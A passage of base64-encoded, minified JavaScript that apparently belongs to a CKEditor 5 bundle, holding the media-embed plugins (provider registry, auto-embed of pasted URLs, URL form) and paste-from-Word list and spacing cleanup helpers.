hcHMiLHVybDovXmdvb2dsZVwuY29tXC9tYXBzL30se25hbWU6ImZsaWNrciIsdXJsOi9eZmxpY2tyXC5jb20vfSx7bmFtZToiZmFjZWJvb2siLHVybDovXmZhY2Vib29rXC5jb20vfV19KTt0aGlzLnJlZ2lzdHJ5PW5ldyB3VCh0LmxvY2FsZSx0LmNvbmZpZy5nZXQoIm1lZGlhRW1iZWQiKSl9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLnNjaGVtYTtjb25zdCBuPXQudDtjb25zdCBpPXQuY29udmVyc2lvbjtjb25zdCBvPXQuY29uZmlnLmdldCgibWVkaWFFbWJlZC5wcmV2aWV3c0luRGF0YSIpO2NvbnN0IHI9dGhpcy5yZWdpc3RyeTt0LmNvbW1hbmRzLmFkZCgibWVkaWFFbWJlZCIsbmV3IHBUKHQpKTtlLnJlZ2lzdGVyKCJtZWRpYSIse2lzT2JqZWN0OnRydWUsaXNCbG9jazp0cnVlLGFsbG93V2hlcmU6IiRibG9jayIsYWxsb3dBdHRyaWJ1dGVzOlsidXJsIl19KTtpLmZvcigiZGF0YURvd25jYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6Im1lZGlhIix2aWV3Oih0LHt3cml0ZXI6ZX0pPT57Y29uc3Qgbj10LmdldEF0dHJpYnV0ZSgidXJsIik7cmV0dXJuIGZUKGUscixuLHtyZW5kZXJNZWRpYVByZXZpZXc6biYmb30pfX0pO2kuZm9yKCJkYXRhRG93bmNhc3QiKS5hZGQobFQocix7cmVuZGVyTWVkaWFQcmV2aWV3Om99KSk7aS5mb3IoImVkaXRpbmdEb3duY2FzdCIpLmVsZW1lbnRUb0VsZW1lbnQoe21vZGVsOiJtZWRpYSIsdmlldzoodCx7d3JpdGVyOmV9KT0+e2NvbnN0IGk9dC5nZXRBdHRyaWJ1dGUoInVybCIpO2NvbnN0IG89ZlQoZSxyLGkse3JlbmRlckZvckVkaXRpbmdWaWV3OnRydWV9KTtyZXR1cm4gZFQobyxlLG4oIm1lZGlhIHdpZGdldCIpKX19KTtpLmZvcigiZWRpdGluZ0Rvd25jYXN0IikuYWRkKGxUKHIse3JlbmRlckZvckVkaXRpbmdWaWV3OnRydWV9KSk7aS5mb3IoInVwY2FzdCIpLmVsZW1lbnRUb0VsZW1lbnQoe3ZpZXc6e25hbWU6Im9lbWJlZCIsYXR0cmlidXRlczp7dXJsOnRydWV9fSxtb2RlbDoodCx7d3JpdGVyOmV9KT0+e2NvbnN0IG49dC5nZXRBdHRyaWJ1dGUoInVybCIpO2lmKHIuaGFzTWVkaWEobikpe3JldHVybiBlLmNyZWF0ZUVsZW1lbnQoIm1lZGlhIix7dXJsOm59KX19fSkuZWxlbWVudFRvRWxlbWVudCh7dmlldzp7bmFtZToiZGl2IixhdHRyaWJ1dGVzOnsiZGF0YS1vZW1iZWQtdXJsIjp0cnVlfX0sbW9kZWw6KHQse3dyaXRlcjplfSk9Pntjb25zdCBuPXQuZ2V0QXR0cmlidXRlKCJkYXRhLW9lbWJlZC11cmwiKTtpZihyLmhhc01lZGlhKG4pKXtyZXR1cm4gZS5jcmVhdGVFbGVtZW50KCJtZWRpYSIse3VybDpufSl9fX0pfX1jb25zdCBEVD0vXig/Omh0dHAocyk/OlwvXC8pP1tcdy4tXSsoPzpcLltcdy4tXSspK1tcd1wtLl9+Oi8/I1tcXUAhJCYnKCkqKyw7PSVdKyQvO2NsYXNzIEVUIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltpQSx1X119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkF1dG9NZWRpYUVtYmVkIn1jb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLl90aW1lb3V0SWQ9bnVsbDt0aGlzLl9wb3NpdGlvblRvSW5zZXJ0PW51bGx9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLmRvY3VtZW50O3RoaXMubGlzdGVuVG8odC5wbHVnaW5zLmdldChpQSksImlucHV0VHJhbnNmb3JtYXRpb24iLCgoKT0+e2NvbnN0IHQ9ZS5zZWxlY3Rpb24uZ2V0Rmlyc3RSYW5nZSgpO2NvbnN0IG49ZXAuZnJvbVBvc2l0aW9uKHQuc3RhcnQpO24uc3RpY2tpbmVzcz0idG9QcmV2aW91cyI7Y29uc3QgaT1lcC5mcm9tUG9zaXRpb24odC5lbmQpO2kuc3RpY2tpbmVzcz0idG9OZXh0IjtlLm9uY2UoImNoYW5nZTpkYXRhIiwoKCk9Pnt0aGlzLl9lbWJlZE1lZGlhQmV0d2VlblBvc2l0aW9ucyhuLGkpO24uZGV0YWNoKCk7aS5kZXRhY2goKX0pLHtwcmlvcml0eToiaGlnaCJ9KX0pKTt0LmNvbW1hbmRzLmdldCgidW5kbyIpLm9uKCJleGVjdXRlIiwoKCk9PntpZih0aGlzLl90aW1lb3V0SWQpe2pkLndpbmRvdy5jbGVhclRpbWVvdXQodGhpcy5fdGltZW91dElkKTt0aGlzLl9wb3NpdGlvblRvSW5zZXJ0LmRldGFjaCgpO3RoaXMuX3RpbWVvdXRJZD1udWxsO3RoaXMuX3Bvc2l0aW9uVG9JbnNlcnQ9bnVsbH19KSx7cHJpb3JpdHk6ImhpZ2gifSl9X2VtYmVkTWVkaWFCZXR3ZWVuUG9zaXRpb25zKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvcjtjb25zdCBpPW4ucGx1Z2lucy5nZXQoeFQpLnJlZ2lzdHJ5O2NvbnN0IG89bmV3IGtmKHQsZSk7Y29uc3Qgcj1vLmdldFdhbGtlcih7aWdub3JlRWxlbWVudEVuZDp0cnVlfSk7bGV0IHM9IiI7Zm9yKGNvbnN0IHQgb2Ygcil7aWYodC5pdGVtLmlzKCIkdGV4dFByb3h5Iikpe3MrPXQuaXRlbS5kYXRhfX1zPXMudHJpbSgpO2lmKCFzLm1hdGNoKERUKSl7by5kZXRhY2goKTtyZXR1cm59aWYoIWkuaGFzTWVkaWEocykpe28uZGV0YWNoKCk7cmV0dXJufWNvbnN0IGE9bi5jb21tYW5kcy5nZXQoIm1lZGlhRW1iZWQiKTtpZighYS5pc0VuYWJsZWQpe28uZGV0YWNoKCk7cmV0dXJufXRoaXMuX3Bvc2l0aW9uVG9JbnNlcnQ9ZXAuZnJvbVBvc2l0aW9uKHQpO3RoaXMuX3RpbWVvdXRJZD1qZC53aW5kb3cuc2V0VGltZW91dCgoKCk9PntuLm1vZGVsLmNoYW5nZSgodD0+e3RoaXMuX3RpbWVvdXRJZD1udWxsO3QucmVtb3ZlKG8pO28uZGV0YWNoKCk7bGV0IGU7aWYodGhpcy5fcG9zaXRpb25Ub0luc2VydC5yb290LnJvb3ROYW1lIT09IiRncmF2ZXlhcmQiKXtlPXRoaXMuX3Bvc2l0aW9uVG9JbnNlcnR9Z1Qobi5tb2RlbCxzLGUpO3RoaXMuX3Bvc2l0aW9uVG9JbnNlcnQuZGV0YWNoKCk7dGhpcy5fcG9zaXRpb25Ub0luc2VydD1udWxsfSkpfSksMTAwKX19dmFyIE1UPW4oNTApO3ZhciBTVD17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1NULmluc2VydD0iaGVhZCI7U1Quc2luZ2xldG9uPXRydWU7dmFyIFRUPXJrKCkoTVRbImEiXSxTVCk7dmFyIElUPU1UWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBOVCBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIoZSk7Y29uc3Qgbj1lLnQ7dGhpcy5mb2N1c1RyYWNrZXI9bmV3IHRrO3RoaXMua2V5c3Ryb2tlcz1uZXcgVnA7dGhpcy5zZXQoIm1lZGlhVVJMSW5wdXRWYWx1ZSIsIiIpO3RoaXMudXJsSW5wdXRWaWV3PXRoaXMuX2NyZWF0ZVVybElucHV0KCk7dGhpcy5zYXZlQnV0dG9uVmlldz10aGlzLl9jcmVhdGVCdXR0b24obigiU2F2ZSIpLGt5LCJjay1idXR0b24tc2F2ZSIpO3RoaXMuc2F2ZUJ1dHRvblZpZXcudHlwZT0ic3VibWl0Ijt0aGlzLnNhdmVCdXR0b25WaWV3LmJpbmQoImlzRW5hYmxlZCIpLnRvKHRoaXMsIm1lZGlhVVJMSW5wdXRWYWx1ZSIsKHQ9PiEhdCkpO3RoaXMuY2FuY2VsQnV0dG9uVmlldz10aGlzLl9jcmVhdGVCdXR0b24obigiQ2FuY2VsIiksYnksImNrLWJ1dHRvbi1jYW5jZWwiLCJjYW5jZWwiKTt0aGlzLl9mb2N1c2FibGVzPW5ldyBBazt0aGlzLl9mb2N1c0N5Y2xlcj1uZXcgRGIoe2ZvY3VzYWJsZXM6dGhpcy5fZm9jdXNhYmxlcyxmb2N1c1RyYWNrZXI6dGhpcy5mb2N1c1RyYWNrZXIsa2V5c3Ryb2tlSGFuZGxlcjp0aGlzLmtleXN0cm9rZXMsYWN0aW9uczp7Zm9jdXNQcmV2aW91czoic2hpZnQgKyB0YWIiLGZvY3VzTmV4dDoidGFiIn19KTt0aGlzLl92YWxpZGF0b3JzPXQ7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJmb3JtIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stbWVkaWEtZm9ybSIsImNrLXJlc3BvbnNpdmUtZm9ybSJdLHRhYmluZGV4OiItMSJ9LGNoaWxkcmVuOlt0aGlzLnVybElucHV0Vmlldyx0aGlzLnNhdmVCdXR0b25WaWV3LHRoaXMuY2FuY2VsQnV0dG9uVmlld119KTtneSh0aGlzKX1yZW5kZXIoKXtzdXBlci5yZW5kZXIoKTtweSh7dmlldzp0aGlzfSk7Y29uc3QgdD1bdGhpcy51cmxJbnB1dFZpZXcsdGhpcy5zYXZlQnV0dG9uVmlldyx0aGlzLmNhbmNlbEJ1dHRvblZpZXddO3QuZm9yRWFjaCgodD0+e3RoaXMuX2ZvY3VzYWJsZXMuYWRkKHQpO3RoaXMuZm9jdXNUcmFja2VyLmFkZCh0LmVsZW1lbnQpfSkpO3RoaXMua2V5c3Ryb2tlcy5saXN0ZW5Ubyh0aGlzLmVsZW1lbnQpO2NvbnN0IGU9dD0+dC5zdG9wUHJvcGFnYXRpb24oKTt0aGlzLmtleXN0cm9rZXMuc2V0KCJhcnJvd3JpZ2h0IixlKTt0aGlzLmtleXN0cm9rZXMuc2V0KCJhcnJvd2xlZnQiLGUpO3RoaXMua2V5c3Ryb2tlcy5zZXQoImFycm93dXAiLGUpO3RoaXMua2V5c3Ryb2tlcy5zZXQoImFycm93ZG93biIsZSk7dGhpcy5saXN0ZW5Ubyh0aGlzLnVybElucHV0Vmlldy5lbGVtZW50LCJzZWxlY3RzdGFydCIsKCh0LGUpPT57ZS5zdG9wUHJvcGFnYXRpb24oKX0pLHtwcmlvcml0eToiaGlnaCJ9KX1mb2N1cygpe3RoaXMuX2ZvY3VzQ3ljbGVyLmZvY3VzRmlyc3QoKX1nZXQgdXJsKCl7cmV0dXJuIHRoaXMudXJsSW5wdXRWaWV3LmZpZWxkVmlldy5lbGVtZW50LnZhbHVlLnRyaW0oKX1zZXQgdXJsKHQpe3RoaXMudXJsSW5wdXRWaWV3LmZpZWxkVmlldy5lbGVtZW50LnZhbHVlPXQudHJpbSgpfWlzVmFsaWQoKXt0aGlzLnJlc2V0Rm9ybVN0YXR1cygpO2Zvcihjb25zdCB0IG9mIHRoaXMuX3ZhbGlkYXRvcnMpe2NvbnN0IGU9dCh0aGlzKTtpZihlKXt0aGlzLnVybElucHV0Vmlldy5lcnJvclRleHQ9ZTtyZXR1cm4gZmFsc2V9fXJldHVybiB0cnVlfXJlc2V0Rm9ybVN0YXR1cygpe3RoaXMudXJsSW5wdXRWaWV3LmVycm9yVGV4dD1udWxsO3RoaXMudXJsSW5wdXRWaWV3LmluZm9UZXh0PXRoaXMuX3VybElucHV0Vmlld0luZm9EZWZhdWx0fV9jcmVhdGVVcmxJbnB1dCgpe2NvbnN0IHQ9dGhpcy5sb2NhbGUudDtjb25zdCBlPW5ldyBzeSh0aGlzLmxvY2FsZSxmeSk7Y29uc3Qgbj1lLmZpZWxkVmlldzt0aGlzLl91cmxJbnB1dFZpZXdJbmZvRGVmYXVsdD10KCJQYXN0ZSB0aGUgbWVkaWEgVVJMIGluIHRoZSBpbnB1dC4iKTt0aGlzLl91cmxJbnB1dFZpZXdJbmZvVGlwPXQoIlRpcDogUGFzdGUgdGhlIFVSTCBpbnRvIHRoZSBjb250ZW50IHRvIGVtYmVkIGZhc3Rlci4iKTtlLmxhYmVsPXQoIk1lZGlhIFVSTCIpO2UuaW5mb1RleHQ9dGhpcy5fdXJsSW5wdXRWaWV3SW5mb0RlZmF1bHQ7bi5vbigiaW5wdXQiLCgoKT0+e2UuaW5mb1RleHQ9bi5lbGVtZW50LnZhbHVlP3RoaXMuX3VybElucHV0Vmlld0luZm9UaXA6dGhpcy5fdXJsSW5wdXRWaWV3SW5mb0RlZmF1bHQ7dGhpcy5tZWRpYVVSTElucHV0VmFsdWU9bi5lbGVtZW50LnZhbHVlLnRyaW0oKX0pKTtyZXR1cm4gZX1fY3JlYXRlQnV0dG9uKHQsZSxuLGkpe2NvbnN0IG89bmV3IGN3KHRoaXMubG9jYWxlKTtvLnNldCh7bGFiZWw6dCxpY29uOmUsdG9vbHRpcDp0cnVlfSk7by5leHRlbmRUZW1wbGF0ZSh7YXR0cmlidXRlczp7Y2xhc3M6bn19KTtpZihpKXtvLmRlbGVnYXRlKCJleGVjdXRlIikudG8odGhpcyxpKX1yZXR1cm4gb319dmFyIEJUPSc8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDIwIDIwIj48cGF0aCBkPSJNMTguNjggMy4wM2MuNiAwIC41OS0uMDMuNTkuNTV2MTIuODRjMCAuNTkuMDEuNTYtLjU5LjU2SDEuMjljLS42IDAtLjU5LjAzLS41OS0uNTZWMy41OGMwLS41OC0uMDEtLjU1LjYtLjU1aDE3LjM4ek0xNS43NyAxNVY1SDQuMnYxMGgxMS41N3pNMiA0djFoMVY0SDJ6bTAgMnYxaDFWNkgyem0wIDJ2MWgxVjhIMnptMCAydjFoMXYtMUgyem0wIDJ2MWgxdi0xSDJ6bTAgMnYxaDF2LTFIMnpNMTcgNHYxaDFWNGgtMXptMCAydjFoMVY2aC0xem0wIDJ2MWgxVjhoLTF6bTAgMnYxaDF2LTFoLTF6bTAgMnYxaDF2LTFoLTF6bTAgMnYxaDF2LTFoLTF6TTcuNSA3LjE3N2EuNC40IDAgMCAxIC41OTMtLjM1MWw1LjEzMyAyLjgyNGEuNC40IDAgMCAxIDAgLjdsLTUuMTMzIDIuODI0YS40LjQgMCAwIDEtLjU5My0uMzVWNy4xNzZ2LjAwMXoiLz48L3N2Zz4nO2NsYXNzIFBUIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVyblt4VF19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIk1lZGlhRW1iZWRVSSJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbW1hbmRzLmdldCgibWVkaWFFbWJlZCIpO2NvbnN0IG49dC5wbHVnaW5zLmdldCh4VCkucmVnaXN0cnk7dC51aS5jb21wb25lbnRGYWN0b3J5LmFkZCgibWVkaWFFbWJlZCIsKGk9Pntjb25zdCBvPU53KGkpO2NvbnN0IHI9bmV3IE5UKHpUKHQudCxuKSx0LmxvY2FsZSk7dGhpcy5fc2V0VXBEcm9wZG93bihvLHIsZSx0KTt0aGlzLl9zZXRVcEZvcm0obyxyLGUpO3JldHVybiBvfSkpfV9zZXRVcERyb3Bkb3duKHQsZSxuKXtjb25zdCBpPXRoaXMuZWRpdG9yO2NvbnN0IG89aS50O2NvbnN0IHI9dC5idXR0b25WaWV3O3QuYmluZCgiaXNFbmFibGVkIikudG8obik7dC5wYW5lbFZpZXcuY2hpbGRyZW4uYWRkKGUpO3Iuc2V0KHtsYWJlbDpvKCJJbnNlcnQgbWVkaWEiKSxpY29uOkJULHRvb2x0aXA6dHJ1ZX0pO3Iub24oIm9wZW4iLCgoKT0+e2UuZGlzYWJsZUNzc1RyYW5zaXRpb25zKCk7ZS51cmw9bi52YWx1ZXx8IiI7ZS51cmxJbnB1dFZpZXcuZmllbGRWaWV3LnNlbGVjdCgpO2UuZm9jdXMoKTtlLmVuYWJsZUNzc1RyYW5zaXRpb25zKCl9KSx7cHJpb3JpdHk6ImxvdyJ9KTt0Lm9uKCJzdWJtaXQiLCgoKT0+e2lmKGUuaXNWYWxpZCgpKXtpLmV4ZWN1dGUoIm1lZGlhRW1iZWQiLGUudXJsKTtzKCl9fSkpO3Qub24oImNoYW5nZTppc09wZW4iLCgoKT0+ZS5yZXNldEZvcm1TdGF0dXMoKSkpO3Qub24oImNhbmNlbCIsKCgpPT5zKCkpKTtmdW5jdGlvbiBzKCl7aS5lZGl0aW5nLnZpZXcuZm9jdXMoKTt0LmlzT3Blbj1mYWxzZX19X3NldFVwRm9ybSh0LGUsbil7ZS5kZWxlZ2F0ZSgic3VibWl0IiwiY2FuY2VsIikudG8odCk7ZS51cmxJbnB1dFZpZXcuYmluZCgidmFsdWUiKS50byhuLCJ2YWx1ZSIpO2UudXJsSW5wdXRWaWV3LmJpbmQoImlzUmVhZE9ubHkiKS50byhuLCJpc0VuYWJsZWQiLCh0PT4hdCkpfX1mdW5jdGlvbiB6VCh0LGUpe3JldHVybltlPT57aWYoIWUudXJsLmxlbmd0aCl7cmV0dXJuIHQoIlRoZSBVUkwgbXVzdCBub3QgYmUgZW1wdHkuIil9fSxuPT57aWYoIWUuaGFzTWVkaWEobi51cmwpKXtyZXR1cm4gdCgiVGhpcyBtZWRpYSBVUkwgaXMgbm90IHN1cHBvcnRlZC4iKX19XX12YXIgTFQ9big1MSk7dmFyIE9UPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07T1QuaW5zZXJ0PSJoZWFkIjtPVC5zaW5nbGV0b249dHJ1ZTt2YXIgUlQ9cmsoKShMVFsiYSJdLE9UKTt2YXIgalQ9TFRbImEiXS5sb2NhbHN8fHt9O2NsYXNzIEZUIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVyblt4VCxQVCxFVCxKdl19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIk1lZGlhRW1iZWQifX1mdW5jdGlvbiBWVCh0LGUpe2Zvcihjb25zdCBuIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7aWYobi5pcygiZWxlbWVudCIsImIiKSYmbi5nZXRTdHlsZSgiZm9udC13ZWlnaHQiKT09PSJub3JtYWwiKXtjb25zdCBpPXQuZ2V0Q2hpbGRJbmRleChuKTtlLnJlbW92ZShuKTtlLmluc2VydENoaWxkKGksbi5nZXRDaGlsZHJlbigpLHQpfX19ZnVuY3Rpb24gVVQodCxlKXtpZighdC5jaGlsZENvdW50KXtyZXR1cm59Y29uc3Qgbj1uZXcgb0UodC5kb2N1bWVudCk7Y29uc3QgaT1HVCh0LG4pO2lmKCFpLmxlbmd0aCl7cmV0dXJufWxldCBvPW51bGw7bGV0IHI9MTtpLmZvckVhY2goKCh0LHMpPT57Y29uc3QgYT1YVChpW3MtMV0sdCk7Y29uc3QgYz1hP251bGw6aVtzLTFdO2NvbnN0IGw9ZUkoYyx0KTtpZihhKXtvPW51bGw7cj0xfWlmKCFvfHxsIT09MCl7Y29uc3QgaT1XVCh0LGUpO2lmKCFvKXtvPVFUKGksdC5lbGVtZW50LG4pfWVsc2UgaWYodC5pbmRlbnQ+cil7Y29uc3QgdD1vLmdldENoaWxkKG8uY2hpbGRDb3VudC0xKTtjb25zdCBlPXQuZ2V0Q2hpbGQodC5jaGlsZENvdW50LTEpO289UVQoaSxlLG4pO3IrPTF9ZWxzZSBpZih0LmluZGVudDxyKXtjb25zdCBlPXItdC5pbmRlbnQ7bz1uSShvLGUpO3I9cGFyc2VJbnQodC5pbmRlbnQpfWlmKHQuaW5kZW50PD1yKXtpZighby5pcygiZWxlbWVudCIsaS50eXBlKSl7bz1uLnJlbmFtZShpLnR5cGUsbyl9fX1jb25zdCBkPSRUKHQuZWxlbWVudCxuKTtuLmFwcGVuZENoaWxkKGQsbyl9KSl9ZnVuY3Rpb24gSFQodCxlKXtmb3IoY29uc3QgbiBvZiBlLmNyZWF0ZVJhbmdlSW4odCkpe2NvbnN0IHQ9bi5pdGVtO2lmKHQuaXMoImVsZW1lbnQiLCJsaSIpKXtjb25zdCBuPXQuZ2V0Q2hpbGQoMCk7aWYobiYmbi5pcygiZWxlbWVudCIsInAiKSl7ZS51bndyYXBFbGVtZW50KG4pfX19fWZ1bmN0aW9uIEdUKHQsZSl7Y29uc3Qgbj1lLmNyZWF0ZVJhbmdlSW4odCk7Y29uc3QgaT1uZXcgV3Moe25hbWU6L15wfGhcZCskLyxzdHlsZXM6eyJtc28tbGlzdCI6Ly4qL319KTtjb25zdCBvPVtdO2Zvcihjb25zdCB0IG9mIG4pe2lmKHQudHlwZT09PSJlbGVtZW50U3RhcnQiJiZpLm1hdGNoKHQuaXRlbSkpe2NvbnN0IGU9SlQodC5pdGVtKTtvLnB1c2goe2VsZW1lbnQ6dC5pdGVtLGlkOmUuaWQsb3JkZXI6ZS5vcmRlcixpbmRlbnQ6ZS5pbmRlbnR9KX19cmV0dXJuIG99ZnVuY3Rpb24gV1QodCxlKXtjb25zdCBuPW5ldyBSZWdFeHAoYEBsaXN0IGwke3QuaWR9OmxldmVsJHt0LmluZGVudH1cXHMqKHtbXn1dKilgLCJnaSIpO2NvbnN0IGk9L21zby1sZXZlbC1udW1iZXItZm9ybWF0OihbXjtdKik7L2dpO2NvbnN0IG89bi5leGVjKGUpO2xldCByPSJkZWNpbWFsIjtsZXQgcz0ib2wiO2lmKG8mJm9bMV0pe2NvbnN0IGU9aS5leGVjKG9bMV0pO2lmKGUmJmVbMV0pe3I9ZVsxXS50cmltKCk7cz1yIT09ImJ1bGxldCImJnIhPT0iaW1hZ2UiPyJvbCI6InVsIn1pZihyPT09ImJ1bGxldCIpe2NvbnN0IGU9S1QodC5lbGVtZW50KTtpZihlKXtyPWV9fX1yZXR1cm57dHlwZTpzLHN0eWxlOllUKHIpfX1mdW5jdGlvbiBLVCh0KXtjb25zdCBlPXFUKHQpO2lmKCFlKXtyZXR1cm4gbnVsbH1jb25zdCBuPWUuX2RhdGE7aWYobj09PSJvIil7cmV0dXJuImNpcmNsZSJ9ZWxzZSBpZihuPT09IsK3Iil7cmV0dXJuImRpc2MifWVsc2UgaWYobj09PSLCpyIpe3JldHVybiJzcXVhcmUifXJldHVybiBudWxsfWZ1bmN0aW9uIHFUKHQpe2lmKHQuZ2V0Q2hpbGQoMCkuaXMoIiR0ZXh0Iikpe3JldHVybiBudWxsfWNvbnN0IGU9dC5nZXRDaGlsZCgwKS5nZXRDaGlsZCgwKTtpZihlLmlzKCIkdGV4dCIpKXtyZXR1cm4gZX1yZXR1cm4gZS5nZXRDaGlsZCgwKX1mdW5jdGlvbiBZVCh0KXtzd2l0Y2godCl7Y2FzZSJhcmFiaWMtbGVhZGluZy16ZXJvIjpyZXR1cm4iZGVjaW1hbC1sZWFkaW5nLXplcm8iO2Nhc2UiYWxwaGEtdXBwZXIiOnJldHVybiJ1cHBlci1hbHBoYSI7Y2FzZSJhbHBoYS1sb3dlciI6cmV0dXJuImxvd2VyLWFscGhhIjtjYXNlInJvbWFuLXVwcGVyIjpyZXR1cm4idXBwZXItcm9tYW4iO2Nhc2Uicm9tYW4tbG93ZXIiOnJldHVybiJsb3dlci1yb21hbiI7Y2FzZSJjaXJjbGUiOmNhc2UiZGlzYyI6Y2FzZSJzcXVhcmUiOnJldHVybiB0O2RlZmF1bHQ6cmV0dXJuIG51bGx9fWZ1bmN0aW9uIFFUKHQsZSxuKXtjb25zdCBpPWUucGFyZW50O2NvbnN0IG89bi5jcmVhdGVFbGVtZW50KHQudHlwZSk7Y29uc3Qgcj1pLmdldENoaWxkSW5kZXgoZSkrMTtuLmluc2VydENoaWxkKHIsbyxpKTtpZih0LnN0eWxlKXtuLnNldFN0eWxlKCJsaXN0LXN0eWxlLXR5cGUiLHQuc3R5bGUsbyl9cmV0dXJuIG99ZnVuY3Rpb24gJFQodCxlKXtaVCh0LGUpO3JldHVybiBlLnJlbmFtZSgibGkiLHQpfWZ1bmN0aW9uIEpUKHQpe2NvbnN0IGU9e307Y29uc3Qgbj10LmdldFN0eWxlKCJtc28tbGlzdCIpO2lmKG4pe2NvbnN0IHQ9bi5tYXRjaCgvKF58XHMrKWwoXGQrKS9pKTtjb25zdCBpPW4ubWF0Y2goL1xzKmxmbyhcZCspL2kpO2NvbnN0IG89bi5tYXRjaCgvXHMqbGV2ZWwoXGQrKS9pKTtpZih0JiZpJiZvKXtlLmlkPXRbMl07ZS5vcmRlcj1pWzFdO2UuaW5kZW50PW9bMV19fXJldHVybiBlfWZ1bmN0aW9uIFpUKHQsZSl7Y29uc3Qgbj1uZXcgV3Moe25hbWU6InNwYW4iLHN0eWxlczp7Im1zby1saXN0IjoiSWdub3JlIn19KTtjb25zdCBpPWUuY3JlYXRlUmFuZ2VJbih0KTtmb3IoY29uc3QgdCBvZiBpKXtpZih0LnR5cGU9PT0iZWxlbWVudFN0YXJ0IiYmbi5tYXRjaCh0Lml0ZW0pKXtlLnJlbW92ZSh0Lml0ZW0pfX19ZnVuY3Rpb24gWFQodCxlKXtpZighdCl7cmV0dXJuIHRydWV9aWYodC5pZCE9PWUuaWQpe2lmKGUuaW5kZW50LXQuaW5kZW50PT09MSl7cmV0dXJuIGZhbHNlfXJldHVybiB0cnVlfWNvbnN0IG49ZS5lbGVtZW50LnByZXZpb3VzU2libGluZztpZighbil7cmV0dXJuIHRydWV9cmV0dXJuIXRJKG4pfWZ1bmN0aW9uIHRJKHQpe3JldHVybiB0LmlzKCJlbGVtZW50Iiwib2wiKXx8dC5pcygiZWxlbWVudCIsInVsIil9ZnVuY3Rpb24gZUkodCxlKXtyZXR1cm4gdD9lLmluZGVudC10LmluZGVudDplLmluZGVudC0xfWZ1bmN0aW9uIG5JKHQsZSl7Y29uc3Qgbj10LmdldEFuY2VzdG9ycyh7cGFyZW50Rmlyc3Q6dHJ1ZX0pO2xldCBpPW51bGw7bGV0IG89MDtmb3IoY29uc3QgdCBvZiBuKXtpZih0Lm5hbWU9PT0idWwifHx0Lm5hbWU9PT0ib2wiKXtvKyt9aWYobz09PWUpe2k9dDticmVha319cmV0dXJuIGl9Y29uc3QgaUk9L2lkPSgifCcpZG9jcy1pbnRlcm5hbC1ndWlkLVstMC05YS1mXSsoInwnKS9pO2NsYXNzIG9Je2NvbnN0cnVjdG9yKHQpe3RoaXMuZG9jdW1lbnQ9dH1pc0FjdGl2ZSh0KXtyZXR1cm4gaUkudGVzdCh0KX1leGVjdXRlKHQpe2NvbnN0IGU9bmV3IG9FKHRoaXMuZG9jdW1lbnQpO1ZUKHQuY29udGVudCxlKTtIVCh0LmNvbnRlbnQsZSl9fWZ1bmN0aW9uIHJJKHQpe3JldHVybiBhSShhSSh0KSkucmVwbGFjZSgvKDxzcGFuXHMrc3R5bGU9WyciXW1zby1zcGFjZXJ1bjp5ZXNbJyJdPltcc10qPylbXHJcbl0rKFxzKjxcL3NwYW4+KS9nLCIkMSQyIikucmVwbGFjZSgvPHNwYW5ccytzdHlsZT1bJyJdbXNvLXNwYWNlcnVuOnllc1snIl0+PFwvc3Bhbj4vZywiIikucmVwbGFjZSgvIDxcLy9nLCLCoDwvIikucmVwbGFjZSgvIDxvOnA+PFwvbzpwPi9nLCLCoDxvOnA+PC9vOnA+IikucmVwbGFjZSgvPG86cD4oJm5ic3A7fFx1MDBBMCk8XC9vOnA+L2csIiIpLnJlcGxhY2UoLz4oXHMqW1xyXG5dXHMqKTwvZywiPjwiKX1mdW5jdGlvbiBzSSh0KXt0LnF1ZXJ5U2VsZWN0b3JBbGwoInNwYW5bc3R5bGUqPXNwYWNlcnVuXSIpLmZvckVhY2goKHQ9Pntjb25zdCBlPXQuaW5uZXJUZXh0Lmxlbmd0aHx8MDt0LmlubmVySFRNTD1BcnJheShlKzEpLmpvaW4oIsKgICIpLnN1YnN0cigwLGUpfSkpfWZ1bmN0aW9uIGFJKHQpe3JldHVybiB0LnJlcGxhY2UoLzxzcGFuKD86IGNsYXNzPSJBcHBsZS1jb252ZXJ0ZWQtc3BhY2UifCk+KFxzKyk8XC9zcGFuPi9nLCgodCxlKT0+ZS5sZW5ndGg9PT0xPyIgIjpBcnJheShlLmxlbmd0aCsxKS5qb2luKCLCoCAiKS5zdWJzdHIoMCxlLmxlbmd0aCkpKX1mdW5jdGlvbiBjSSh0LGUpe2NvbnN0IG49bmV3IERPTVBhcnNlcjt0PXQucmVwbGFjZSgvPCEtLVxbaWYgZ3RlIHZtbCAxXT4vZywiIik7Y29uc3QgaT1ySSh1SSh0KSk7Y29uc3Qgbz1uLnBhcnNlRnJvbVN0cmluZyhpLCJ0ZXh0L2h0bWwiKTtzSShvKTtjb25zdCByPW8uYm9keS5pbm5lckhUTUw7Y29uc3Qgcz1sSShvLGUpO2NvbnN0IGE9ZEkobyk7cmV0dXJue2JvZHk6cyxib2R5U3RyaW5nOnIsc3R5bGVzOmEuc3R5bGVzLHN0e